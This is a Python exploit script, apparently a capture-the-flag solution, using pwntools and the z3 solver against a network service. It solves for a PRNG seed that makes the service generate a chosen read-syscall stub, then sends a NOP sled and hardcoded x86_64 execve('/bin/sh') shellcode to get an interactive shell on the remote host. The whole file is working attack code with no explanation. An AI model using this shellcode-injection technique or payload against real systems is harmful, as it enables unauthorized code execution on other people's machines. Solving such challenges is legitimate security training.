
import time
import pwn
import z3
import sys


def ROL(X, N):
    if isinstance(X, z3.BitVecRef):
        return z3.RotateLeft(X,N)
    else:
        return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))


def ROR(X, N):
    if isinstance(X, z3.BitVecRef):
        return z3.RotateRight(X,N)
    else:
        return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))

def custom_random(state):
    NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5);
    return NEW_STATE % 256, NEW_STATE;


pwn.context.arch = 'x86_64'


shc = pwn.asm("""
    cdq;
    push rdi;
    xor edi, edi;
    pop rsi;
    xor eax, eax;
    syscall
""")



def get_seed_for_sequence(bytesequence):
    s = z3.Solver() 
    base_state = z3.BitVec("base_state", 64)
    cur_state = base_state
    for byte in bytesequence:
        gen_byte, cur_state = custom_random(cur_state)
        s.add(gen_byte == byte)

    if s.check() != z3.sat:
        raise RuntimeError()

    m = s.model()
    return m[base_state].as_long()

def get_values():

    print(len(shc))

    first_val = pwn.u32(shc[:4])
    print(first_val)

    second_val = get_seed_for_sequence(shc[4:])
    print(second_val)
    print(str(second_val).encode())
    return first_val, second_val

first_val, second_val = get_values()



cs = second_val

for v in shc[4:]:
    b, cs = custom_random(cs)
    print(b, v)
    assert b == v



if len(sys.argv) > 2:
    r = pwn.remote(sys.argv[1], int(sys.argv[2]))
else:
    r = pwn.remote("localhost", 1337)


r.recvuntil(b"at ")

win = int(r.recvline().strip().decode(), 16)

r.sendline(str(second_val).encode())
r.recvuntil(b"?")

r.sendline(str(first_val).encode())


_shc = bytearray([
    0x48, 0x31, 0xd2, 0x48, 0xbb, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xeb,
    0x08, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f,
    0x05, 0x6a, 0x01, 0x5f, 0x6a, 0x3c, 0x58, 0x0f, 0x05
])

time.sleep(.3)

r.send(b'\x90' * (0x10 + len(shc)-4) + _shc)

r.interactive()

